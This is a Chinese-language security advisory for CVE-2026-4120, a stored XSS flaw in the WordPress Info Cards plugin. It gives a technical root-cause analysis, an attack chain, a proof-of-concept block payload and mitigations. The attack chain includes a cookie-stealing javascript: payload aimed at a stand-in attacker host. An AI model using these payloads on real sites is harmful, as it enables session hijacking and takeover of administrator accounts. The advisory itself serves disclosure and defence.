IPBUF安全漏洞报告
English
CVE-2026-4120 CVSS 6.4 中危

CVE-2026-4120 WordPress Info Cards插件存储型XSS漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-4120
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Info Cards – Add Text and Media in Card Layouts (WordPress插件)

相关标签

CVE-2026-4120存储型XSSWordPress插件Info Cards跨站脚本javascript:协议注入WordPress安全CMS漏洞权限提升前端漏洞

漏洞概述

Info Cards是WordPress平台上一款用于在卡片布局中添加文本和媒体的插件。该插件在2.0.7及以下所有版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于插件对Info Cards块的btnUrl参数缺乏充分的URL协议验证,特别是未对javascript:协议进行过滤。虽然服务端render.php使用esc_attr(wp_json_encode())转义了HTML属性,但JSON数据中的URL协议并未被验证。当客户端view.js渲染按钮链接时,直接将btnUrl值作为href属性输出,导致攻击者可以注入恶意javascript:协议链接。由于该漏洞需要Contributor级别权限,攻击者可在WordPress文章或页面中插入包含恶意链接的Info Cards块,当其他用户点击该链接时,恶意JavaScript代码将执行,可能导致会话劫持、敏感信息窃取或管理员账户被接管等严重后果。

技术细节

漏洞的技术根源在于前后端数据处理链中的协议验证缺失。首先,插件的block.json配置文件(line 35)定义了btnUrl参数,但未设置任何URL协议白名单或验证规则。其次,render.php(line 8)虽然使用esc_attr()和wp_json_encode()对属性进行转义处理,防止了直接的HTML属性注入,但这仅是客户端防护,无法验证JSON数据内的URL协议合法性。最后,view.js(line 2)在前端渲染时,直接将btnUrl值赋值给anchor元素的href属性,完全缺乏协议类型检查。攻击者利用此漏洞的典型方式是构造形如javascript:alert(document.cookie)的btnUrl值。由于存储型XSS的特性,恶意脚本会被永久保存在数据库中,所有访问该页面的用户都会触发漏洞。攻击者通常利用此漏洞窃取用户会话cookie、冒充合法用户操作或进一步提升权限。

攻击链分析

STEP 1
步骤1: 侦察与权限获取
攻击者获取WordPress网站的Contributor或更高权限账户。Contributor角色允许创建和编辑帖子,为注入恶意代码提供基础。
STEP 2
步骤2: 构造恶意载荷
攻击者在编辑器中插入Info Cards块,构造包含javascript:协议的btnUrl参数值,如javascript:fetch('https://attacker.com/steal?c='+document.cookie)
STEP 3
步骤3: 保存恶意内容
攻击者保存包含恶意Info Cards块的页面或文章。由于存储型XSS特性,恶意代码被永久写入数据库。
STEP 4
步骤4: 等待受害者访问
当其他用户(管理员、编辑或普通访客)访问被植入恶意代码的页面时,浏览器会渲染页面并执行view.js脚本。
STEP 5
步骤5: 执行恶意脚本
客户端view.js将btnUrl值直接渲染为<a>标签的href属性,用户点击链接时触发javascript:协议,执行业攻击者植入的任意JavaScript代码。
STEP 6
步骤6: 窃取敏感信息或劫持会话
恶意脚本可窃取用户cookie、session token、CSRF令牌等敏感信息,或执行进一步的攻击行为如添加恶意管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Info Cards XSS PoC - CVE-2026-4120 --> <!-- Required: Contributor role or higher --> <!-- Step 1: Insert malicious Info Cards block with javascript: URL --> <!-- The btnUrl parameter contains javascript: protocol --> <!-- Example payload in block attributes --> { "blockName": "info-cards/info-cards", "attrs": { "cards": [ { "btnText": "Click Me", "btnUrl": "javascript:alert(document.cookie)" } ] } } <!-- Alternative: Direct HTML injection if block editor is bypassed --> <!-- wp:info-cards/info-cards {"btnUrl":"javascript:alert(document.domain)"} /-->

影响范围

Info Cards 插件 <= 2.0.7 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制WordPress用户的注册和角色分配,仅授予必要的最低权限;2) 使用WordPress安全插件(如Wordfence)监控异常的用户行为和内容修改;3) 临时禁用Info Cards插件或替换为其他替代插件;4) 实施严格的输入验证规则,在WAF层面过滤包含javascript:协议的请求;5) 对所有使用Info Cards块的页面进行安全审计,检查是否存在恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表